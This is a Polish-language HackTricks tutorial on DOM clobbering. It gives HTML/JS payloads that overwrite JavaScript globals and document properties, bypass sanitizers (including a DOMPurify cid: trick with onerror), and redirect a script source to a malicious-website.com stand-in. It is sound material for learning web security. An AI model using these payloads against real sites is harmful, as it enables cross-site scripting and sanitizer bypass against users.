Dom Clobbering
Reading time: 8 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawy
Możliwe jest generowanie zmiennych globalnych w kontekście JS za pomocą atrybutów id
i name
w tagach HTML.
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
Tylko niektóre elementy mogą używać atrybutu name do klobberowania globalnych, są to: embed
, form
, iframe
, image
, img
i object
.
Interesująco, gdy używasz elementu form do klobberowania zmiennej, otrzymasz wartość toString
samego elementu: [object HTMLFormElement]
, ale w przypadku anchor wartość toString
będzie href
anchor. Dlatego, jeśli klobberujesz używając tagu a
, możesz kontrolować wartość, gdy jest traktowana jako ciąg:
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
Tablice i Atrybuty
Możliwe jest również przysłonięcie tablicy oraz atrybutów obiektów:
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
Aby nadpisać 3. atrybut (np. x.y.z), musisz użyć form
:
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
Clobbering więcej atrybutów jest bardziej skomplikowane, ale wciąż możliwe, używając iframe'ów:
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
warning
Tag stylu jest używany do dania wystarczająco dużo czasu na renderowanie iframe. Bez niego znajdziesz alert o undefined.
Aby zniszczyć głębsze atrybuty, możesz użyć iframe'ów z kodowaniem html w ten sposób:
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
Omijanie filtrów
Jeśli filtr przechodzi przez właściwości węzła używając czegoś takiego jak document.getElementByID('x').attributes
, możesz zastąpić atrybut .attributes
i złamać filtr. Inne właściwości DOM, takie jak tagName
, nodeName
lub parentNode
i inne, również są zastępowalne.
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
Clobbering window.someObject
W JavaScript często można znaleźć:
var someObject = window.someObject || {}
Manipulowanie HTML na stronie pozwala na nadpisanie someObject
węzłem DOM, co może wprowadzać luki w zabezpieczeniach. Na przykład, możesz zastąpić someObject
elementem kotwicy wskazującym na złośliwy skrypt:
<a id=someObject href=//malicious-website.com/malicious.js></a>
W podatnym kodzie, takim jak:
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
Ta metoda wykorzystuje źródło skryptu do wykonania niechcianego kodu.
Sztuczka: DOMPurify
pozwala na użycie protokołu cid:
, który nie koduje URL podwójnych cudzysłowów. Oznacza to, że możesz wstrzyknąć zakodowany podwójny cudzysłów, który zostanie zdekodowany w czasie wykonywania. Dlatego wstrzyknięcie czegoś takiego jak <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
spowoduje, że HTML zakodowany "
zostanie zdekodowany w czasie wykonywania i ucieknie z wartości atrybutu, aby utworzyć zdarzenie onerror
.
Inna technika wykorzystuje element form
. Niektóre biblioteki po stronie klienta sprawdzają atrybuty nowo utworzonego elementu formularza, aby je oczyścić. Jednak dodając input
z id=attributes
wewnątrz formularza, skutecznie nadpisujesz właściwość atrybutów, uniemożliwiając sanitariuszowi dostęp do rzeczywistych atrybutów.
Możesz znaleźć przykład tego typu klobberingu w tym opisie CTF.
Klobbering obiektu dokumentu
Zgodnie z dokumentacją możliwe jest nadpisanie atrybutów obiektu dokumentu za pomocą DOM Clobbering:
Interfejs Document obsługuje właściwości nazwane. Obsługiwane nazwy właściwości obiektu Document w dowolnym momencie składają się z następujących, w kolejności drzewa zgodnie z elementem, który je wprowadził, ignorując późniejsze duplikaty, a wartości z atrybutów id pojawiają się przed wartościami z atrybutów name, gdy ten sam element wnosi oba:
- Wartość atrybutu treści name dla wszystkich exposed embed, form, iframe, img i exposed object elementów, które mają niepusty atrybut treści name i są w drzewie dokumentu z dokumentem jako ich korzeniem;
- Wartość atrybutu treści id dla wszystkich exposed object elementów, które mają niepusty atrybut treści id i są w drzewie dokumentu z dokumentem jako ich korzeniem;
- Wartość atrybutu treści id dla wszystkich img elementów, które mają zarówno niepusty atrybut treści id, jak i niepusty atrybut treści name, i są w drzewie dokumentu z dokumentem jako ich korzeniem.
Korzystając z tej techniki, możesz nadpisać powszechnie używane wartości takie jak document.cookie
, document.body
, document.children
, a nawet metody w interfejsie Document, takie jak document.querySelector
.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
Pisanie po elemencie zniszczonym
Wyniki wywołań document.getElementById()
i document.querySelector()
mogą być zmieniane przez wstrzyknięcie tagu <html>
lub <body>
z identycznym atrybutem id. Oto jak można to zrobić:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
Ponadto, stosując style do ukrywania tych wstrzykniętych tagów HTML/body, można zapobiec zakłóceniom ze strony innego tekstu w innerText
, co zwiększa skuteczność ataku:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Badania nad SVG ujawniły, że tag <body>
może być również skutecznie wykorzystywany:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Aby tag HTML działał w SVG w przeglądarkach takich jak Chrome i Firefox, konieczny jest tag <foreignobject>
:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Clobbering Forms
Możliwe jest dodanie nowych wpisów wewnątrz formularza po prostu określając atrybut form
wewnątrz niektórych tagów. Możesz to wykorzystać do dodania nowych wartości wewnątrz formularza oraz nawet do dodania nowego przycisku do wysłania go (clickjacking lub nadużywanie niektórego kodu JS .click()
):
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
- Aby uzyskać więcej atrybutów formularza w przycisku sprawdź to.
Odniesienia
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript dla hakerów: Naucz się myśleć jak haker.
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.